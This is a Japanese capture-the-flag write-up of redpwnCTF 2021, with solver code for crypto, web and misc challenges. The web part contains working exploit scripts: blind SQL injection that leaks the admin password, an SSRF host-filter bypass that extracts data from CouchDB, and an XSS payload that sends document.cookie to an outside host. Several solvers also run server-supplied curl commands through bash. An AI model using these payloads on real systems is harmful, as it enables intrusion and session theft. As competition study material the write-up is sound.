redpwnCTF Writeup
Tue Jul 13 2021
7/10-7/13 で開催していた redpwnCTF 2021 にソロで参加しました。結果は 27th/1418 (得点のあるチームのみカウント) でした。 問題数が多いので、 solve 数が 200 以下の問題についてのみ writeup を書きます。このようにフィルターすると、 pwn と rev は自明問しか解けなかったことがよくわかりますね…
crypto
blecc
146 solves
楕円曲線の問題。 上での楕円曲線 が与えられており、 となる を求める問題です。ただの離散対数問題ですね。
の位数を求めると となっており、 pohlig-hellman で解けることがわかります。 sagemath の discrete_log を使って雑に解きます。
p = 17459102747413984477 a = 2 b = 3 G = (15579091807671783999, 4313814846862507155) Q = (8859996588597792495, 2628834476186361781) EC = EllipticCurve(GF(p), [a, b]) G = EC(G) Q = EC(Q) d = G.discrete_log(Q) bytes.fromhex(f"{d:x}")
flag{m1n1_3cc}
yahtzee
103 solves
server.py#!/usr/local/bin/python from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes from random import randint from binascii import hexlify with open('flag.txt','r') as f: flag = f.read().strip() with open('keyfile','rb') as f: key = f.read() assert len(key)==32 ''' Pseudorandom number generators are weak! True randomness comes from phyisical objects, like dice! ''' class TrueRNG: @staticmethod def die(): return randint(1, 6) @staticmethod def yahtzee(N): dice = [TrueRNG.die() for n in range(N)] return sum(dice) def __init__(self, num_dice): self.rolls = num_dice def next(self): return TrueRNG.yahtzee(self.rolls) def encrypt(message, key, true_rng): nonce = true_rng.next() cipher = AES.new(key, AES.MODE_CTR, nonce = long_to_bytes(nonce)) return cipher.encrypt(message) ''' Stick the flag in a random quote! ''' def random_message(): NUM_QUOTES = 25 quote_idx = randint(0,NUM_QUOTES-1) with open('quotes.txt','r') as f: for idx, line in enumerate(f): if idx == quote_idx: quote = line.strip().split() break quote.insert(randint(0, len(quote)), flag) return ' '.join(quote) banner = ''' ============================================================================ = Welcome to the yahtzee message encryption service. = = We use top-of-the-line TRUE random number generators... dice in a cup! = ============================================================================ Would you like some samples? ''' prompt = "Would you like some more samples, or are you ready to 'quit'?\n" if __name__ == '__main__': NUM_DICE = 2 true_rng = TrueRNG(NUM_DICE) inp = input(banner) while 'quit' not in inp.lower(): message = random_message().encode() encrypted = encrypt(message, key, true_rng) print('Ciphertext:', hexlify(encrypted).decode()) inp = input(prompt)
フラグの文字列を25種類ある引用文のどこかに挿入し、それを AES の CTR モードで暗号化します。 AES の key は固定で、 nonce は randint(1, 6) + randint(1, 6) がランダムに与えられます。
探索空間は 25 x O(10) x 12 程度 (しかも nonce は6周辺になる確率が高い) ため、暗号文を何度か入手すると同じ引用文・同じ nonce でフラグの挿入箇所だけが違うものが手に入ることが期待できます。とりあえず暗号文を集めます。
import re import subprocess from pwn import remote, xor _r = remote("mc.ax", 31076) ret = _r.recvline().strip().decode() cmd = ret[ret.index("curl"):] proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE) _r.sendlineafter("solution: ", proc.stdout.strip()) enc_list = [] for i in range(1000): if i % 10 == 0: print(i) _r.sendlineafter("?\n", "") ret = _r.recvline().strip().decode() enc = re.findall(r"Ciphertext: (.*)", ret)[0] enc_list.append(enc)
まず引用文の単語の数で引用文の種類を区別します。以下同じ単語数のもののみ考察します。えいやで決めた単語数 204 個のものを使います。
暗号文の構造を考えると、 (quote_pre || flag || quote_post) + AES (ここで || は文字列の結合、 + は xor を表す) となっており、 flag の位置がそれぞれ違うというものになっています。 そのため2種類の暗号文の xor をとると、 00...00 || (flag + quote) || 00...00 という構造になるはずです。 flag の prefix が flag{ であることから、 (flag + quote) + "flag{" の計算で2種類のペアから quote の一部の5文字をリークさせることができます。
それで現れた単語を適当にググると、 The question isnt who is going to let me; its who is going to stop me. という引用文であることがわかりました。 これと暗号文の xor を取ることで挿入された flag を入手することができました。
flag{0h_W41t_ther3s_nO_3ntr0py}
scrambled-elgs
70 solves
generator.sage#!/usr/bin/env sage import secrets import json from Crypto.Util.number import bytes_to_long, long_to_bytes from sage.combinat import permutation n = 25_000 Sn = SymmetricGroup(n) def pad(M): padding = long_to_bytes(secrets.randbelow(factorial(n))) padded = padding[:-len(M)] + M return bytes_to_long(padded) #Prepare the flag with open('flag.txt','r') as flag: M = flag.read().strip().encode() m = Sn(permutation.from_rank(n,pad(M))) #Scramble the elgs g = Sn.random_element() a = secrets.randbelow(int(g.order())) h = g^a pub = (g, h) #Encrypt using scrambled elgs g, h = pub k = secrets.randbelow(n) t1 = g^k t2 = m*h^k ct = (t1,t2) #Provide public key and ciphertext with open('output.json','w') as f: json.dump({'g':str(g),'h':str(h),'t1':str(t1),'t2':str(t2)}, f)
対称群を用いた ElGamal 暗号 になっています。 となる を から求められれば、 でフラグ (を対称群の元にしたもの) が得られます。
対称群は当然群なので、位数を確認して pohlig-hellman が使えるか確認します。位数は 2^3 * 3 * 11 * 13 * 29 * 167 * 239 * 317 * 379 * 971 * 4211 となっており、使えそうです。
sagemath の discrete_log は対称群に対応していないみたいだったので、自分で pohlig-hellman を書きました。
solve.pyimport json import secrets from Crypto.Util.number import bytes_to_long, long_to_bytes from sage.combinat import permutation from sage.groups.generic import bsgs n = int(25_000) Sn = SymmetricGroup(n) with open("./output.json") as f: output = json.load(f) g = Sn(output["g"]) h = Sn(output["h"]) t1 = Sn(output["t1"]) t2 = Sn(output["t2"]) a_list = [] b_list = [] order = g.order() for p, e in list(factor(g.order())): gi = g ** (order // p ^ e) hi = h ** (order // p ^ e) gamma = gi ** (p ** (e - 1)) xk = 0 for k in range(e): hk = (gi ** (-xk) * hi) ** (p ** (e - 1 - k)) dk = bsgs(gamma, hk, (0, p - 1)) xk = xk + p ** k * dk xi = xk a_list.append(xi) b_list.append(p ^ e) a = crt(a_list, b_list) assert g ** a == h m = t2 * t1 ** (-a) perm = Permutation(permutation.from_permutation_group_element(m)) def perm_to_num(perm): s = list(range(1, n + 1)) ret = 0 for i in range(n): order = s.index(perm[i]) s.remove(perm[i]) ret += order * factorial(n - i - 1) return ret M = perm_to_num(perm) print(long_to_bytes(M))
flag{1_w1ll_n0t_34t_th3m_s4m_1_4m}
Keeper of the Flag
42 solves
kotf.py#!/usr/local/bin/python3 from Crypto.Util.number import * from Crypto.PublicKey import DSA from random import * from hashlib import sha1 rot = randint(2, 2 ** 160 - 1) chop = getPrime(159) def H(s): x = bytes_to_long(sha1(s).digest()) return pow(x, rot, chop) L, N = 1024, 160 dsakey = DSA.generate(1024) p = dsakey.p q = dsakey.q h = randint(2, p - 2) g = pow(h, (p - 1) // q, p) if g == 1: print("oops") exit(1) print(p) print(q) print(g) x = randint(1, q - 1) y = pow(g, x, p) print(y) def verify(r, s, m): if not (0 < r and r < q and 0 < s and s < q): return False w = pow(s, q - 2, q) u1 = (H(m) * w) % q u2 = (r * w) % q v = ((pow(g, u1, p) * pow(y, u2, p)) % p) % q return v == r pad = randint(1, 2 ** 160) signed = [] for i in range(2): print("what would you like me to sign? in hex, please") m = bytes.fromhex(input()) if m == b'give flag' or m == b'give me all your money': print("haha nice try...") exit() if m in signed: print("i already signed that!") exit() signed.append(m) k = (H(m) + pad + i) % q if k < 1: exit() r = pow(g, k, p) % q if r == 0: exit() s = (pow(k, q - 2, q) * (H(m) + x * r)) % q if s == 0: exit() print(H(m)) print(r) print(s) print("ok im done for now") print("you visit the flag keeper...") print("for flag, you must bring me signed message:") print("'give flag':" + str(H(b"give flag"))) r1 = int(input()) s1 = int(input()) if verify(r1, s1, b"give flag"): print(open("flag.txt").readline()) else: print("sorry")
DSA の問題。 従来の DSA と違うのは、 がただの乱数ではないことと、 hash 関数に RSA のような処理をしていることです。こちらの指定した数値 (ただし重複はダメ) で2回署名を入手できます。その後に "give flag" の署名として valid な を送信できればフラグが得られます。
がただの乱数ではないので を求める方法がないかを考えます。 を に代入すると、
となります。 が のケースで得られているため、 2変数の連立合同方程式を解けばよいことがわかります。 のものから のものを引くと、
となり、 が求まります。あとは DSA と同様の署名をするだけです (だけなのですが、自分は H("give flag") が与えられていることに気づかず、ここからかなりの時間を溶かしてしまいました…)。
solve.pyimport subprocess from hashlib import sha1 from pwn import remote _r = remote("mc.ax", 31538) ret = _r.recvline().strip().decode() cmd = ret[ret.index("curl") :] proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE) _r.sendlineafter("solution: ", proc.stdout.strip()) def recv_int(): return int(_r.recvline().strip()) p = recv_int() q = recv_int() g = recv_int() y = recv_int() _r.sendlineafter("what would you like me to sign? in hex, please\n", "00") Hm0 = recv_int() r0 = recv_int() s0 = recv_int() _r.sendlineafter("what would you like me to sign? in hex, please\n", "01") Hm1 = recv_int() r1 = recv_int() s1 = recv_int() s0_inv = pow(s0, -1, q) s1_inv = pow(s1, -1, q) pred_x = ( pow(s1_inv * r1 - s0_inv * r0, -1, q) * ((1 - s1_inv) * Hm1 - (1 - s0_inv) * Hm0 + 1) % q ) _r.recvuntil("'give flag':") Hm = recv_int() k = 1 r = pow(g, k, p) % q s = (pow(k, -1, q) * (Hm + pred_x * r)) % q _r.sendline(str(r)) _r.sendline(str(s)) print(_r.recvall())
flag{here_it_is_a8036d2f57ec7cecf8acc2fe6d330a71}
quaternion-revenge
29 solves
これはただのバグ報告になってしまうのですが、 i と入力するだけで通ってしまいました… 手元環境では再現しないし、なぜこれが通るのかわからない…
flag{00p5_1_l13d_r0fl}
web
cool
125 solves
SQLi の問題。脆弱性はここ。
app.pydef create_user(username, password): if any(c not in allowed_characters for c in username): return (False, 'Alphanumeric usernames only, please.') if len(username) < 1: return (False, 'Username is too short.') if len(password) > 50: return (False, 'Password is too long.') other_users = execute( f'SELECT * FROM users WHERE username=\'{username}\';' ) if len(other_users) > 0: return (False, 'Username taken.') execute( 'INSERT INTO users (username, password)' f'VALUES (\'{username}\', \'{password}\');' ) return (True, '')
username は文字種のチェックがされていますが、 password はされていません。最後の INSERT 文で password を介して SQLi ができそうです。
方針としては password='||(SELECT SUBSTR(password,1,1) FROM users)||' とすることで、 admin のパスワードの1文字目をパスワードに設定することができます ( LIMIT 句なしでもよしなにやってくれるんですね)。 このパスワードでユーザー登録をし、brute force でログインを試すことで1文字ずつリークさせることができます。
solve.pyimport random import requests allowed_characters = list( "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789" ) register_url = "https://cool.mc.ax/register" login_url = "https://cool.mc.ax/" logout_url = "https://cool.mc.ax/logout" message_url = "https://cool.mc.ax/message" with requests.Session() as s: admin_password = "" for i in range(1, 1+32): username = "".join(random.choice(list(allowed_characters)) for _ in range(32)) password = f"'||(SELECT SUBSTR(password,{i},1) FROM users)||'" print(username, password) r = s.post(register_url, data={"username": username, "password": password}) s.get(logout_url) for c in allowed_characters: print(c) r = s.post(login_url, data={"username": username, "password": c}) if "Unfortunately" in r.text: admin_password += c print(admin_password) break else: print("end") break r = s.post(login_url, data={"username": "ginkoid", "password": admin_password}) r = s.get(message_url) with open("./flag.mp3", "wb") as f: f.write(r.content)
これで得られた flag.mp3 をエディタで開くと最後の部分にフラグが書かれていました。
flag{44r0n_s4ys_s08r137y_1s_c00l}
Requester
41 solves
SSRF の問題。 /testAPI を使うことで couchdb にアクセスできることが期待されます。 例えば https://requester.mc.ax/createUser?username=hogetaro&password=fugataro&method=GET とすることで hogetaro:fugataro という username, password でユーザー登録ができました。
jar ファイルが与えられているので JD-GUI でデコンパイルして解析します。 脆弱性はここ。
public static void testAPI(Context ctx) { String url = (String)ctx.queryParam("url", String.class).get(); String method = (String)ctx.queryParam("method", String.class).get(); String data = ctx.queryParam("data"); try { URL urlURI = new URL(url); if (urlURI.getHost().contains("couchdb")) throw new ForbiddenResponse("Illegal!"); } catch (MalformedURLException e) { throw new BadRequestResponse("Input URL is malformed"); } try { if (method.equals("GET")) { JSONObject jsonObj = HttpClient.getAPI(url); String str = jsonObj.toString(); } else if (method.equals("POST")) { JSONObject jsonObj = HttpClient.postAPI(url, data); String stringJsonObj = jsonObj.toString(); if (Utils.containsFlag(stringJsonObj)) throw new ForbiddenResponse("Illegal!"); } else { throw new BadRequestResponse("Request method is not accepted"); } } catch (Exception e) { throw new InternalServerErrorResponse("Something went wrong"); } ctx.result("success"); } }
ホスト名に couchdb という文字列が入っていると弾く処理があるのですが、 COUCHDB とすることでこの処理を回避することができます。 これで couchdb に対していろいろな query を投げることができます。
https://docs.couchdb.org/en/latest/api/database/find.html を参考に、 hogetaro/_find に対して flag が ^flag{ (正規表現) となっているものを取ってくる query を作り、投げました。 もし存在していればフラグの入った json が返されますが、上記ソースコードの Utils.containsFlag(stringJsonObj) の部分で弾かれる処理がなされます。もし存在していなければ普通に success が返ってきます。 そのため正規表現を使って前から1文字ずつフラグを特定させていくことができます。
solve.pyimport requests # https://requester.mc.ax/createUser?username=hogetaro&password=fugataro query_url_template = "https://requester.mc.ax/testAPI?url=http://hogetaro:fugataro@COUCHDB:5984/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}" escaped = '"#$%&()*+/?[\\]^|.' flag = "" for _ in range(100): for i in range(32, 128)[::-1]: c = chr(i) if c in escaped: continue print(c) query_url = query_url_template.format(query_flag=flag + c) r = requests.get(query_url) if "Something went wrong" == r.text: flag += c print(flag) break else: print("done") break
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}
requester-strikes-back
19 solves
Requester とほぼ同じ問題。 couchdb の case 問題に修正入っています。
try { URL urlURI = new URL(url); if (urlURI.getHost().toLowerCase().contains("couchdb")) throw new ForbiddenResponse("Illegal!"); String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8); urlURI = new URL(urlDecoded); if (urlURI.getHost().toLowerCase().contains("couchdb")) throw new ForbiddenResponse("Illegal!"); } catch (MalformedURLException e) { throw new BadRequestResponse("Input URL is malformed"); }
前問との違いはここだけっぽい (真面目に diff を取ったわけではないですが) ので、ここを何とかすることに注力します (逆に diff 見るだけで前問の脆弱性は一瞬でわかってしまいますね…)。
結論だけいうと、 http://hogetaro:fugataro@COUCHDB:5984@/ のように最後に余分な @ をつけることで回避することができました。検証はしていないですが getHost() の結果が空になるのだと思います。 あとは前問と同様の script を動かすことでフラグを入手できました。
solve.pyimport requests # https://requester-strikes-back.mc.ax/createUser?username=hogetaro&password=fugataro query_url_template = "https://requester-strikes-back.mc.ax/testAPI?url=http://hogetaro:fugataro@COUCHDB:5984@/hogetaro/_find&method=POST&data={{%22selector%22:{{%22flag%22:{{%22$regex%22:%22^{query_flag}%22}}}},%22fields%22:[%22_id%22,%22_rev%22,%22flag%22]}}" escaped = '"#$%&()*+/?[\\]^|.' flag = "" for _ in range(100): for i in range(32, 128)[::-1]: c = chr(i) if c in escaped: continue print(c) query_url = query_url_template.format(query_flag=flag + c) r = requests.get(query_url) if "Something went wrong" == r.text: flag += c print(flag) break else: print("done") break
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}
misc
annaBEL-lee
134 solves
nc mc.ax 31845 をしても標準出力には何も表示されません。とりあえずファイルに書き込んでみると、 \x07 と \x00 の2文字からなる文字列が返されていました。
\x07 がベルを表す制御コードであることや問題文から、モールス信号ではないかと guess しました。 モールス信号だと思って文字列を見ると、 \x07\x07\x07 が - で \x07 が . で \x00 がそれらの区切りを表しているように見えます。 この方針で decode してみたらフラグが得られました。
solve.pywith open("./tmp", "rb") as f: enc_bin = f.read() char_to_morse = { "A": ".-", "B": "-...", "C": "-.-.", "D": "-..", "E": ".", "F": "..-.", "G": "--.", "H": "....", "I": "..", "J": ".---", "K": "-.-", "L": ".-..", "M": "--", "N": "-.", "O": "---", "P": ".--.", "Q": "--.-", "R": ".-.", "S": "...", "T": "-", "U": "..-", "V": "...-", "W": ".--", "X": "-..-", "Y": "-.--", "Z": "--..", "1": ".----", "2": "..---", "3": "...--", "4": "....-", "5": ".....", "6": "-....", "7": "--...", "8": "---..", "9": "----.", "0": "-----", ",": "--..--", ".": ".-.-.-", "?": "..--..", "/": "-..-.", "-": "-....-", "(": "-.--.", ")": "-.--.-", } morse_to_char = {v: k for k, v in char_to_morse.items()} def decrypt(enc): msg = "" for morse in enc.split(): if morse in morse_to_char.keys(): msg += morse_to_char[morse] else: msg += morse return msg enc = ( enc_bin.replace(b"\x07\x07\x07", b"-") .replace(b"\x07", b".") .replace(b"\x00\x00\x00", b" ") .replace(b"\x00", b"") .decode() ) print(decrypt(enc)) print(decrypt(enc).lower().replace("(", "{").replace(")", "}"))
flag{d1ng-d0n9-g0es-th3-anna-b3l}
復習
ここから先は競技終了後にいろいろ調べながら書いたものとなります。
crypto
quaternion-revenge
29 solves
適当に送ってしまったペイロードでフラグを得てしまったので復習しました。
まずなぜ i というペイロードで通ってしまったのかを確認しました。 https://github.com/redpwn/redpwnctf-2021-challenges/blob/master/crypto/quaternion-revenge/Dockerfile#L1 を見ると sagemath/sagemath:9.0-py3 のバージョンが使われているっぽいので、この image 下で試します。
docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)'" True docker run -it sagemath/sagemath:9.0-py3 "sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**32+1,-2**32+1);print(i==2**32-1)'" False
大きい整数を使ったときにこういうことが生じるっぽいです。
この挙動は手元の version 9.3 では再現しません。
sage -v SageMath version 9.3, Release Date: 2021-05-09 sage -c 'Q.<i,j,k>=QuaternionAlgebra(-2**512+1,-2**512+1);print(i==2**512-1)' False
あとは想定解は何なのかという疑問が残りますが、 discord のやり取りを見ているとこの挙動を特定するのが想定解っぽい…? だったらバージョンを明記してほしかったな…
retrosign
26 solves
が与えられたときに を満たす整数 を求める問題は古くから知られているようです。暗号の関係でいうと、Ong-Schnorr-Shamir digital signature というのに使われていたらしいです。 また CTF でも何度か出題されたことがあるらしい。このような条件下でなぜググっても見つけることができなかったのか… ("conics rational integer point" みたいな検索ワードでずっと調べていたから…)
アルゴリズムは https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.7.9765&rep=rep1&type=pdf がまとまっていてわかりやすかったです。これを追実装して解きました。
pollard.sagedef lemma(r, D, m): """Transform r^2 = D mod m into u^2 - Dv^2 = lm""" assert (r ** 2 - D) % m == 0 xs = [r] ms = [m] while True: tmp_m = (xs[-1] ** 2 - D) // ms[-1] if tmp_m <= int(sqrt(4 * abs(D) / 3)): break tmp_x = xs[-1] % tmp_m ms.append(tmp_m) xs.append(tmp_x) _lambda = tmp_m As = [0, 1] for i in range(1, len(xs))[::-1]: assert (xs[i-1] - xs[i]) % ms[i] == 0 tmp_A = As[-2] + (xs[i-1] - xs[i]) // ms[i] * As[-1] As.append(tmp_A) u = As[-1] * xs[0] - As[-2] * ms[0] v = As[-1] assert u ** 2 - D * v ** 2 == _lambda * m return u, v, _lambda def pollard(D, k, N): """solve x, y such that x^2 - Dy^2 = k mod N""" print(D, k, N) if D == 0 or k == 0: raise ValueError elif N % 2 == 0: raise NotImplementedError elif gcd(k, N) != 1 or gcd(D, N) != 1: raise NotImplementedError elif isqrt(abs(D)) ** 2 == abs(D): if D >= 0: b = isqrt(D) c = int((k + 1) * pow(2, -1, N)) d = int((k - 1) * pow(2, -1, N)) assert (c ** 2 - d ** 2) % N == k % N else: b = -isqrt(-D) p = k while True: if p % 4 == 1 and is_prime(p): break p += N c, d = GaussianIntegers()(p).factor()[0][0] c, d = int(c), int(d) assert (c ** 2 + d ** 2) % N == k % N x = c y = int(d * pow(b, -1, N)) elif abs(k) < abs(D): c, d = pollard(k, D, N) print(c, d) x = int(c * pow(d, -1, N)) y = int(pow(d, -1, N)) else: p = k while True: if p > 0 and is_prime(p) and kronecker(D, p) != -1: break p += N t = int(Zmod(p)(D).sqrt()) u, v, _lambda = lemma(t, D, p) w, z = pollard(D, _lambda, N) y = int((u * z - v * w) * pow(D * z ** 2 - w ** 2, -1, N)) x = int((v - y * w) * pow(z, -1, N)) assert (x ** 2 - D * y ** 2) % N == k % N return x, y
solve.sageimport re import subprocess from hashlib import sha256 from pwn import remote _r = remote("mc.ax", 31079) ret = _r.recvline().strip().decode() cmd = ret[ret.index("curl"):] proc = subprocess.run(["bash", "-c", cmd], stdout=subprocess.PIPE) _r.sendlineafter("solution: ", proc.stdout.strip()) _r.recvuntil("The following configuration is in place:\n") n = int(re.findall(r"n = (.*);", _r.recvline().strip().decode())[0]) k = int(re.findall(r"k = (.*);", _r.recvline().strip().decode())[0]) cmd = b"sice_deets" t = int(sha256(cmd).hexdigest(), 16) a, b = pollard(-k, t, n) sig = f"{a:0256x}{b:0256x}" _r.sendlineafter(">>> ", cmd.decode()) _r.sendlineafter("$$$ ", sig) print(_r.recvall())
flag{w0w_th4t_s1gn4tur3_w4s_pr3tty_r3tr0}
web
notes
32 solves
脆弱性はここ。
public/static/view/index.js(async () => { const request = await fetch(`/api/notes/${user}`); const notes = await request.json(); const renderedNotes = []; for (const note of notes) { // this one is controlled by user, so prevent xss const body = note.body .replaceAll('<', '<') .replaceAll('>', '>') .replaceAll('"', '"') .replaceAll('\'', '''); // this one isn't, but make sure it fits on page const tag = note.tag.length > 10 ? note.tag.substring(0, 7) + '...' : note.tag; // render templates and put them in our array const rendered = populateTemplate(template, { body, tag }); renderedNotes.push(rendered); } container.innerHTML += renderedNotes.join(''); })();
body のほうはサニタイズが行われていますが、 tag では行われていません。 問題は、各 note で tag は10文字以下にしないといけないので、何かしら工夫が必要です。
まず試したのは、
{"body": "", "tag": "<script>`"} {"body": "`;SOME_SCRIPT;`", "tag": "`</script>"}
というペイロードで、 ` を使って note 間の html をコメントアウトする方法でした。 しかしこれは動きません。 innerHTML に直接追加された script は動かないみたいです。 https://developer.mozilla.org/ja/docs/Web/API/Element/innerHTML#security_considerations
なので <img src=x onerror=SOME_SCRIPT> のようなペイロードにする必要があります。 しかし、
{"body": "", "tag": "<img src='"} {"body": "", "tag": "'onerror=`"} {"body": "`;SOME_SCRIPT;`", "tag": "`>"}
のようにしても、 note 間の html によって勝手に <img> タグが閉じられるような挙動になってしまい、うまく動きません。
競技中はここで力が尽きました。
{"body": "a", "tag": "<style a='"} {"body": "a", "tag": "'onload='`"} {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"}
という <style> を使った方法が取り上げられていました。 onerror より1文字減ったため onload 以降を '' で囲むことができています。これのおかげでタグが勝手に閉じられない…?
このあたりの挙動はいろいろ試して覚えていくのがいいんですかね、精進不足…
solve.pyimport requests url = "https://notes.mc.ax/api/notes" cookies = {"username": "hogehoge.sm3p%2BagZCVM8E%2FcZDIi0Huw7uzhw0SJhBLC2nGkjtow"} payload_list = [ {"body": "", "tag": "<style a='"}, {"body": "", "tag": "'onload='`"}, { "body": "`;document.location=`MY_URL?q=${document.cookie}`;`", "tag": "`'></style>", }, ] for payload in payload_list: r = requests.post(url, cookies=cookies, json=payload)
これを実行したあとに admin に踏ませることで、 admin の cookie が admin.uPoq5EHI5BXHy3ifvT25/ds2M3JH2JwsZJPpN0Vn1s8 であることがわかります。 この cookie を使って admin のページを見ることでフラグが得られました。
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}